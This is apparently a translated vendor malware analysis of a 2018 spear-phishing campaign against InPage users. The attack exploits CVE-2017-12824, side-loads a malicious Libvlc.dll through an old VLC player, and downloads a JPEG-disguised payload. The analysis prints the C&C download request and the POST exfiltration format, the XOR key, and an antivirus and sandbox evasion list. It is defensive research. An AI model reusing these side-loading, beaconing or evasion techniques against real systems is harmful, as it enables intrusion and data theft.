使用惡意的InPage文件和老舊版本的VLC媒體播放器實施後門攻擊
最近,Office 365安全團隊發現,有攻擊者以特定語言文字(烏爾都語、波斯語、普什圖語和阿拉伯語等)的處理軟體為目標,進行攻擊,該攻擊利用了InPage的一個漏洞。由此可見,我們不僅要防範大規模惡意軟體活動,還要防範小規模和本地化的攻擊。
本次惡意活動的75%的目標都位於巴基斯坦,另外也包含一些歐洲和美國的國家,甚至還包含政府機構。
攻擊目標的地理分佈
此前, ofollow,noindex">Palo Alto 和 Kaspersky 的研究人員曾分別發表過關於使用惡意InPage文件發動攻擊的分析文章。除了他們釋出的文章之外,針對這類攻擊的公開研究非常有限。
本次攻擊是Office 365團隊在6月發現的,攻擊步驟如下:
1.攻擊者發出帶有惡意InPage文件的魚叉式網路釣魚電子郵件,檔名為hafeez saeed speech on 22nd April.inp;
2.該惡意文件包含 CVE-2017-12824" target="_blank" rel="nofollow,noindex">CVE-2017-12824 的漏洞利用程式碼,這是InPage中的緩衝區溢位漏洞,攻擊者利用該漏洞投放了一個易受DLL劫持攻擊的老舊版本的合法VLC媒體播放器;
3.側載惡意DLL呼叫到命令和控制(C&C)站點,該站點觸發以JPEG檔案格式編碼的惡意軟體進行下載和執行;
4.最後,攻擊者可以在受感染的計算機上遠端執行任意命令。
攻擊流程
Office 365高階威脅防護(ATP)通過檢測攻擊中使用的魚叉式網路釣魚電子郵件中的惡意InPage附件來保護客戶免受此類攻擊。Office 365 ATP檢查電子郵件附件和惡意內容連結,並提供實時防禦攻擊。
Office 365 ATP利用來自不同資料來源的大量威脅情報,並整合來自Windows Defender ATP和Azure ATP等多種服務的訊號。例如,Windows Defender Antivirus會檢測此攻擊中使用的惡意檔案和文件。此外,Windows Defender ATP中的端點檢測和響應(EDR)功能可檢測此次攻擊中觀察到的DLL側載和惡意行為。通過在Microsoft威脅防護中整合Office 365 ATP和其他Microsoft安全技術,我們的解決方案可以協調檢測和修復。
惡意InPage文件的使用過程
在附有惡意InPage誘餌文件的電子郵件被攻擊目標開啟後,該文件利用了CVE-2017-12842漏洞,這是InPage中允許任意程式碼執行的漏洞。當開啟惡意InPage文件時,它會進行解密並執行嵌入式惡意DLL檔案的shellcode。解密例程是使用解密金鑰“27729984h”的簡單XOR函式。
第一個DLL解密函式
第1階段:DLL側載和C&C通訊
解密的惡意DLL包含嵌入在PE資源部分中的兩個檔案。第一個資原始檔名為200,它是VLC媒體播放器的合法版本(產品版本:2.2.1.0,檔案版本:2.2.1)。資源部分中的第二個檔名為400,這是一個模仿合法檔案Libvlc.dll的DLL劫持程式。
執行時,第1階段惡意軟體會自動刪除VLC媒體播放器可執行檔案和%TEMP%資料夾中的惡意Libvlc.dll,然後執行VLC媒體播放器程序。
此時,易受攻擊的VLC媒體播放器程序會在其載入目錄中搜索已刪除的檔案Libvlc.dll,隨後將找到並載入惡意DLL,執行其惡意功能。
惡意Libvlc.dll匯出的函式
VLC媒體播放器程序匯入的 Libvlc.dll 函式
Libvlc.dll中最有趣的惡意程式碼位於libvlc_wait()函式中,惡意程式碼會動態解析API呼叫以連線到攻擊者C&C伺服器並下載JPEG檔案。如果無法訪問C&C伺服器,則惡意軟體將呼叫API sleep() 5秒鐘,並試圖再次呼叫攻擊者。
惡意函式libvlc_wait()中的C&C呼叫
如果成功下載了JPEG檔案logo.jpg,則libvlc_wait()中的惡意程式碼會自動跳過JPEG檔案的前20個位元組,並建立一個執行緒來執行嵌入的有效載荷,JPEG檔案中的程式碼使用Shikata ga nai進行編碼,Shikata ga nai是一種定製的多型shellcode編碼器或解碼器。
下面是傳送到C&C下載惡意檔案logo.jpg的HTTP請求示例:
GET /assets/vnc/logo.jpg HTTP/1.1 Accept: */* Host: useraccount.co HTTP/1.1 200 OK Date: Mon, 09 Jul 2018 13:45:49 GMT Server: Apache/2.4.33 (cPanel) OpenSSL/1.0.2o mod_bwlimited/1.4 Phusion_Passenger/5.1.12 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Mon, 09 Apr 2018 07:19:20 GMT ETag: "26e0378-2086b-56965397b5c31" Accept-Ranges: bytes Content-Length: 133227 Content-Type: image/jpeg
嵌入在JPEG檔案中的HTTP GET請求
Whois的歷史記錄顯示,C&C伺服器於2018年3月20日註冊。
Domain Name: useraccount.co Registry Domain ID: D2169366F46A14BCD9EB42AF48BEA813C-NSR Registrar WHOIS Server: Registrar URL: whois.publicdomainregistry.com Updated Date: 2018-03-20T14:04:40Z Creation Date: 2018-03-20T14:04:40Z Registry Expiry Date: 2019-03-20T14:04:40Z Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: addPeriod https://icann.org/epp#addPeriod
攻擊者C&C伺服器的Whois記錄
JPEG檔案中的shellcode使用多層多型XOR例程來解密最終的有效載荷,成功解密有效載荷後,它會刪除並執行資料夾%ProgramData%\ Dell64中的最終DLL惡意軟體aflup64.dll。
Header後 面 的 前29個位元組,構成了第一個解密層
有效的JPEG檔案頭,緊隨其後的是加密的惡意程式碼
第2階段:系統偵察和執行攻擊者命令
第2階段的惡意軟體,則使用了不同的方法,來維護第1階段形成的攻擊性。例如,惡意函式IntRun()可以載入和執行惡意軟體DLL。它還使用登錄檔項CurrentVersion\Run來維護永續性。
總的來說,惡意軟體的功能包括:
1.系統監測:
1.1列出計算機名稱、Windows版本、計算機ID、正在執行的程序和已載入的模組;
1.2列出系統檔案和目錄;
1.3列出網路配置;
2.執行攻擊者命令
3.逃避某些沙箱檢測或防毒軟體;
通過HTTP post請求將收集到的資訊或對命令的響應傳送回攻擊者的域,該請求是一個自定義標頭,它始終以37個硬編碼的字母+數字字開頭。
---------------------n9mc4jh3ft7327hfg78kb41b861ft18bhfb91 Content-Disposition: form-data; name="id"; Content-Type: text/plain <Base64 Data Blob>
惡意軟體POST請求的示例
該惡意軟體還包含安全產品和沙箱解決方案的硬編碼檔名列表。如果這些檔案存在於惡意軟體試圖感染的計算機中,則會退出:
·avgnt.exe
· avp.exe
· egui.exe
· Sbie.dll
· VxKernelSvcNT.log
使用Office 365 ATP和Windows Defender ATP檢測目標攻擊
依據以往的歷史,第2階段的有效載荷用於是用來竊取憑據和其他敏感資訊的,安裝更多有效載荷只是為了方便傳播。但是,由於這個惡意軟體為遠端攻擊者打開後門通道以執行他們選擇的任意命令,因此有各種各樣的攻擊可能性。
企業可以使用Office 365高階威脅防護來保護自己免受目標攻擊, Office 365 ATP通過阻止具有不安全附件、惡意連結並利用沙盒和時間點選保護的連結檔案的電子郵件來幫助保護郵箱免受電子郵件攻擊。 Office 365中反網路釣魚功能的最新增強功能可解決從受感染帳戶傳送的模擬、欺騙、網路釣魚內容和內部網路釣魚電子郵件。
此外,企業還可以使用Windows Defender Advanced Threat Protection,它提供統一的終端安全平臺,用於智慧保護、檢測、調查和響應。基於硬體的隔離,受控資料夾訪問和網路保護可減少攻擊面。 Windows Defender Antivirus會檢測並阻止此攻擊中使用的惡意文件和檔案。 Windows Defender ATP的端點檢測和響應、自動調查和修復以及高階搜尋功能使安全操作人員能夠檢測並阻止企業網路中的攻擊。